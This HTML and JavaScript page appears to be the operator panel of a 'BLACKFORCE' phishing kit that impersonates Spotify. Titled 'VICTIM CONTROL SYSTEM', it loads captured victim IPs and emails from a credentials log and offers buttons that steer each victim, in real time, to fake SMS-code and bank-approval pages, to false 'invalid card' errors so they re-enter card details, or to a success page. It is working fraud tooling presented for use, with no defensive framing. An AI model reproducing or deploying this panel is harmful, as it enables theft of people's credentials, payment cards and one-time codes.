<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow, noimageindex, noarchive, nocache, nosnippet">
    <title>SPOTIFY PANEL | BLACKFORCE</title>
    <link rel="shortcut icon" href="assets/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="assets/css/master.css">
</head>
<body>
    <div class="nav">
        <img class="imaga" src="assets/hacker-25929.png" alt="">
        <img src="assets/blackforce.png" alt="">
        <div class="nav-links">
            <a href="dashboard.php" class="nav-link">📊 Dashboard</a>
            <a href="panel.php" class="nav-link active">🎮 Control</a>
            <a href="settings.php" class="nav-link">⚙️ Settings</a>
            <a href="logout.php" class="nav-link">🚪 Logout</a>
        </div>
    </div>

    <main>
        <div class="content">
            <h1>SPOTIFY PANEL</h1>
            <h3>VICTIM CONTROL SYSTEM</h3>
            
            <div class="stats-container">
                <div class="stat-box">
                    <h2>📊 STATISTICS</h2>
                    <p>Total Victims: <span id="totalVictims">0</span></p>
                    <p>Active Now: <span id="activeVictims">0</span></p>
                </div>
            </div>

            <div class="victims-container">
                <h2>🎯 ACTIVE VICTIMS</h2>
                <div id="victimsList">
                    <!-- Victims will be loaded here -->
                </div>
            </div>

            <div class="actions-info">
                <h3>ℹ️ AVAILABLE ACTIONS</h3>
                <ul>
                    <li><strong>📲 SMS:</strong> Send victim to SMS verification page</li>
                    <li><strong>📱 APP:</strong> Send victim to bank approval page</li>
                    <li><strong>⛔ BAD SMS:</strong> Show "incorrect SMS code" error</li>
                    <li><strong>💳 BAD CC:</strong> Show "invalid card" error and request again</li>
                    <li><strong>✅ CONFIRM:</strong> Redirect to success page</li>
                    <li><strong>🛑 BAN:</strong> Block IP permanently</li>
                </ul>
            </div>
        </div>
    </main>

    <script>
        // Auto-refresh every 5 seconds
        setInterval(function() {
            loadVictims();
        }, 5000);

        // Load victims on page load
        window.onload = function() {
            loadVictims();
        };

        function loadVictims() {
            fetch('../logs/credentials.log')
                .then(response => response.text())
                .then(data => {
                    const lines = data.split('\n').filter(line => line.trim() !== '');
                    const victims = [];
                    
                    lines.forEach(line => {
                        const ipMatch = line.match(/IP:\s*([0-9.]+)/);
                        const emailMatch = line.match(/Email:\s*([^\s]+)/);
                        
                        if (ipMatch) {
                            const ip = ipMatch[1];
                            const email = emailMatch ? emailMatch[1] : 'N/A';
                            
                            if (!victims.find(v => v.ip === ip)) {
                                victims.push({ ip, email });
                            }
                        }
                    });

                    displayVictims(victims);
                    document.getElementById('totalVictims').textContent = victims.length;
                    document.getElementById('activeVictims').textContent = victims.length;
                })
                .catch(error => {
                    console.error('Error loading victims:', error);
                });
        }

        function displayVictims(victims) {
            const container = document.getElementById('victimsList');
            
            if (victims.length === 0) {
                container.innerHTML = '<p style="text-align:center; color:#999;">No victims yet...</p>';
                return;
            }

            let html = '<table class="victims-table">';
            html += '<thead><tr><th>IP ADDRESS</th><th>EMAIL</th><th>ACTIONS</th></tr></thead>';
            html += '<tbody>';

            victims.forEach(victim => {
                html += `
                    <tr>
                        <td><strong>${victim.ip}</strong></td>
                        <td>${victim.email}</td>
                        <td class="actions">
                            <a href="action/insert.php?ip=${victim.ip}&view=sms" target="_blank" class="btn btn-sms">📲 SMS</a>
                            <a href="action/insert.php?ip=${victim.ip}&view=app" target="_blank" class="btn btn-app">📱 APP</a>
                            <a href="action/insert.php?ip=${victim.ip}&view=badsms" target="_blank" class="btn btn-badsms">⛔ BAD SMS</a>
                            <a href="action/insert.php?ip=${victim.ip}&view=badcc" target="_blank" class="btn btn-badcc">💳 BAD CC</a>
                            <a href="action/insert.php?ip=${victim.ip}&view=confirm" target="_blank" class="btn btn-confirm">✅ CONFIRM</a>
                            <a href="botActBan/banIpAct.php?ip=${victim.ip}" target="_blank" class="btn btn-ban">🛑 BAN</a>
                        </td>
                    </tr>
                `;
            });

            html += '</tbody></table>';
            container.innerHTML = html;
        }
    </script>

    <style>
        .stats-container {
            margin: 30px 0;
        }

        .stat-box {
            background: rgba(29, 185, 84, 0.1);
            border: 2px solid #1D976C;
            border-radius: 10px;
            padding: 20px;
            text-align: center;
        }

        .stat-box h2 {
            color: #1D976C;
            margin-bottom: 15px;
        }

        .stat-box p {
            color: #fff;
            font-size: 18px;
            margin: 10px 0;
        }

        .stat-box span {
            color: #1D976C;
            font-weight: bold;
            font-size: 24px;
        }

        .victims-container {
            margin: 30px 0;
        }

        .victims-container h2 {
            color: #1D976C;
            margin-bottom: 20px;
            text-align: center;
        }

        .victims-table {
            width: 100%;
            border-collapse: collapse;
            background: rgba(0, 0, 0, 0.5);
            border-radius: 10px;
            overflow: hidden;
        }

        .victims-table thead {
            background: #1D976C;
        }

        .victims-table th {
            padding: 15px;
            text-align: left;
            color: #000;
            font-weight: bold;
        }

        .victims-table td {
            padding: 15px;
            border-bottom: 1px solid rgba(29, 185, 84, 0.2);
            color: #fff;
        }

        .victims-table tr:hover {
            background: rgba(29, 185, 84, 0.1);
        }

        .actions {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }

        .btn {
            padding: 8px 15px;
            border-radius: 5px;
            text-decoration: none;
            font-weight: bold;
            font-size: 12px;
            transition: all 0.3s;
            display: inline-block;
        }

        .btn-sms {
            background: #1D976C;
            color: #000;
        }

        .btn-sms:hover {
            background: #26b87f;
            transform: scale(1.05);
        }

        .btn-app {
            background: #9b59b6;
            color: #fff;
        }

        .btn-app:hover {
            background: #b370d1;
            transform: scale(1.05);
        }

        .btn-badsms {
            background: #ff4444;
            color: #fff;
        }

        .btn-badsms:hover {
            background: #ff6666;
            transform: scale(1.05);
        }

        .btn-badcc {
            background: #ff9800;
            color: #000;
        }

        .btn-badcc:hover {
            background: #ffad33;
            transform: scale(1.05);
        }

        .btn-confirm {
            background: #00d4ff;
            color: #000;
        }

        .btn-confirm:hover {
            background: #33ddff;
            transform: scale(1.05);
        }

        .btn-ban {
            background: #000;
            color: #ff4444;
            border: 1px solid #ff4444;
        }

        .btn-ban:hover {
            background: #ff4444;
            color: #fff;
            transform: scale(1.05);
        }

        .actions-info {
            margin-top: 30px;
            background: rgba(0, 0, 0, 0.5);
            padding: 20px;
            border-radius: 10px;
            border: 1px solid #1D976C;
        }

        .actions-info h3 {
            color: #1D976C;
            margin-bottom: 15px;
        }

        .actions-info ul {
            list-style: none;
            padding: 0;
        }

        .actions-info li {
            color: #fff;
            padding: 10px 0;
            border-bottom: 1px solid rgba(29, 185, 84, 0.2);
        }

        .actions-info li:last-child {
            border-bottom: none;
        }

        .nav {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 0 20px;
        }

        .nav-links {
            display: flex;
            gap: 15px;
        }

        .nav-link {
            color: #1D976C;
            text-decoration: none;
            padding: 10px 20px;
            border-radius: 5px;
            transition: all 0.3s;
            font-weight: bold;
        }

        .nav-link:hover {
            background: rgba(29, 185, 84, 0.2);
        }

        .nav-link.active {
            background: #1D976C;
            color: #000;
        }

        @media (max-width: 768px) {
            .nav {
                flex-direction: column;
                gap: 15px;
            }

            .nav-links {
                flex-direction: column;
                width: 100%;
            }

            .nav-link {
                text-align: center;
            }

            .victims-table {
                font-size: 12px;
            }

            .actions {
                flex-direction: column;
            }

            .btn {
                width: 100%;
                text-align: center;
            }
        }
    </style>
</body>
</html>
